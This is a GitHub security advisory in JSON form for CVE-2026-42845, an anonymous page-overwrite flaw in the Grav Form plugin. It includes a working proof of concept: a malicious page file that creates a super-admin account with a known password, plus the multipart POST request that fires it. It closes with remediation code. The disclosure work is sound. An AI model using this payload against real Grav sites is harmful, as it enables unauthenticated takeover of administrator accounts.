{"id":"GHSA-w4rc-p66m-x6qq","summary":"Grav Form Plugin has an Anonymous Page Content Overwrite via Form File Upload filename Override","details":"### Summary\n(Tested on Form 9.0.3 released on April, 28th)\n\nThe Form plugin's file upload handler at `user/plugins/form/classes/Form.php:583` accepts a POST-supplied `filename` parameter (`$filename = $post['filename'] ?? $upload['file']['name']`) that overrides the original uploaded filename. The override passes through `Utils::checkFilename()`, which blocks only a narrow extension list (`.php*`, `.htm*`, `.js`, `.exe`). Markdown (`.md`) is **not** blocked.\n\nA page's directory under `user/pages/` contains its `.md` content file (e.g. `default.md`, `form.md`). When a form's file upload field has `accept: ['*']` (or any policy that admits text files), an unauthenticated visitor can:\n\n1. Upload **arbitrary content** with **`filename=form.md`** (or other page-content filenames),\n2. Submit the form to trigger `Form::copyFiles()`, which **overwrites the page's own `.md` file**.\n\n### Details\n**Vulnerable code path**\n\n`user/plugins/form/classes/Form.php:580-606` (in `uploadFiles()`):\n```php\n$grav-\u003efireEvent('onFormUploadSettings', new Event(['settings' =\u003e &$settings, 'post' =\u003e $post]));\n\n$upload = json_decode(json_encode($this-\u003enormalizeFiles($_FILES['data'], $settings-\u003ename)), true);\n$filename = $post['filename'] ?? $upload['file']['name'];           // ← POST-controlled\n// ...\nif (!Utils::checkFilename($filename)) {                              // ← extension blocklist only\n    return ['status' =\u003e 'error', 'message' =\u003e 'Bad filename'];\n}\n```\n\n`Utils::checkFilename()` (`system/src/Grav/Common/Utils.php:980`) blocks `..`, slashes, null bytes, leading/trailing dots, and the `uploads_dangerous_extensions` list. The default list contains: `php, php2-5, phar, phtml, html, htm, shtml, shtm, js, exe`. **`md` is not on the list**.\n\nThe MIME check (lines 627-654) uses `Utils::getMimeByFilename($filename)` against the blueprint's `accept` list. With `accept: ['*']`, all filenames pass.\n\nAfter upload, the file is held in flash storage. When the form is submitted, `Form::copyFiles()` (`user/plugins/form/classes/Form.php:1041-1074`) calls `$upload-\u003emoveTo($destination)`:\n```php\n$destination = $upload-\u003egetDestination();   // ← determined at upload time:\n                                            //   $destination = $page_dir . '/' . $filename\n$folder = $filesystem-\u003edirname($destination);\nif (!is_dir($folder) && !@mkdir($folder, 0777, true) && !is_dir($folder)) { ... }\n$upload-\u003emoveTo($destination);\n```\n\n`moveTo()` does not check whether `$destination` is an existing protected file — if `form.md` (the page's own content) already exists at the destination, it is **overwritten**.\n\nA Grav page's `.md` file is parsed as YAML frontmatter + Markdown content. Whatever content the attacker uploaded becomes the new page definition.\n\n### PoC\n\n**Setup** :\n\nAny existing page with a form like this — a \"generic upload\" form is the realistic case:\n```yaml\n---\ntitle: Upload your file\nform:\n    name: upform\n    fields:\n        - {name: img, type: file, multiple: false, accept: ['*'], destination: 'self@'}\n        - {name: notes, type: text}\n    buttons:\n        - {type: submit, value: Upload}\n    process:\n        - upload: true\n        - display: thanks\n---\n```\n1. Atacker uploads a malicious md file that replaces the form's md file. Lets say the form is under the path `/upload`.\n\n```yaml\n---\ntitle: Pwned\nform:\n    name: pwn\n    fields:\n        - {name: dummy, type: text}\n    buttons:\n        - {type: submit, value: Submit}\n    process:\n        - save:\n            folder: '../accounts'\n            filename: 'viaup.yaml'\n            extension: yaml\n            operation: create\n            body: |\n                state: enabled\n                email: viaup@example.com\n                fullname: Via Upload\n                title: Admin\n                access:\n                  admin: { login: true, super: true }\n                  site:  { login: true }\n                hashed_password: $2y$10$zGRm19Dk5ivMFZS5taMtU.O8WDUZpTqSsSg8JFs4SwOxJ/N6wl/Uq\n        - display: thanks\n---\n```\n(Hash above is bcrypt for `PwnPass123!`.)\n\n2. Attacker accesses the new markdown file under the original path  and loads the new markdown file `GET /upload`.\n3. Attacker sends a form POST request to `/upload` and change the form_name to whatever the payload form name is.\n Keep in mind the nonce has to be valid.\n\n```\nPOST /upload HTTP/1.1\n\n------geckoformboundary44d7ad8deb57480098493877a35ad715\nContent-Disposition: form-data; name=\"data[_json][img]\"\n\n[]\n------geckoformboundary44d7ad8deb57480098493877a35ad715\nContent-Disposition: form-data; name=\"data[notes]\"\n\n\n------geckoformboundary44d7ad8deb57480098493877a35ad715\nContent-Disposition: form-data; name=\"__form-name__\"\n\npwn\n------geckoformboundary44d7ad8deb57480098493877a35ad715\nContent-Disposition: form-data; name=\"__unique_form_id__\"\n\n8r7q1iwdnnmcgkohlbtj\n------geckoformboundary44d7ad8deb57480098493877a35ad715\nContent-Disposition: form-data; name=\"form-nonce\"\n\n4e9417f0c7e89d1ab4e0dbe136ec78bd\n------geckoformboundary44d7ad8deb57480098493877a35ad715--\n```\n\n4. Login as a newly created super admin user.\n\n### Impact\n\nGrav pages that allows user to uploads any file (besides the ones in the blocklist) with the default `self@` configuration  is able to upload a malicious markdown file to overwrite the existing markdown file. In this case, unauthenticated users were able to escalate their privileges to super-admin. \n\n### Remediation\n\nBlock sensitive page-content filenames at upload\n\nIn `user/plugins/form/classes/Form.php`, after `Utils::checkFilename()` succeeds, add a content-area-aware check:\n\n```php\n// Block files that would overwrite Grav page content if uploaded into\n// a page directory. Page templates are .md (Markdown) and .yaml/.yml\n// (frontmatter overrides). Block both for safety.\n$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));\n$pageContentExtensions = ['md', 'yaml', 'yml', 'json', 'twig'];\nif (in_array($ext, $pageContentExtensions, true)) {\n    return [\n        'status'  =\u003e 'error',\n        'message' =\u003e 'File type not allowed for upload (page content files are blocked)',\n    ];\n}\n```\n\nAdd `md, yaml, yml, json, twig, ini` to the global `security.uploads_dangerous_extensions` list — these all carry executable semantics in Grav's runtime even though they are not \"PHP\".","aliases":["CVE-2026-42845"],"modified":"2026-05-13T14:16:34.399984Z","published":"2026-05-06T23:03:13Z","database_specific":{"severity":"HIGH","nvd_published_at":"2026-05-11T17:16:34Z","github_reviewed":true,"github_reviewed_at":"2026-05-06T23:03:13Z","cwe_ids":["CWE-20","CWE-73"]},"references":[{"type":"WEB","url":"https://github.com/getgrav/grav/security/advisories/GHSA-w4rc-p66m-x6qq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42845"},{"type":"WEB","url":"https://github.com/getgrav/grav-plugin-form/commit/48bacc4187e1cff815000e526d5ca2878484867f"},{"type":"PACKAGE","url":"https://github.com/getgrav/grav"}],"affected":[{"package":{"name":"getgrav/grav-plugin-form","ecosystem":"Packagist","purl":"pkg:composer/getgrav/grav-plugin-form"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.1.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-w4rc-p66m-x6qq/GHSA-w4rc-p66m-x6qq.json"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P"}]}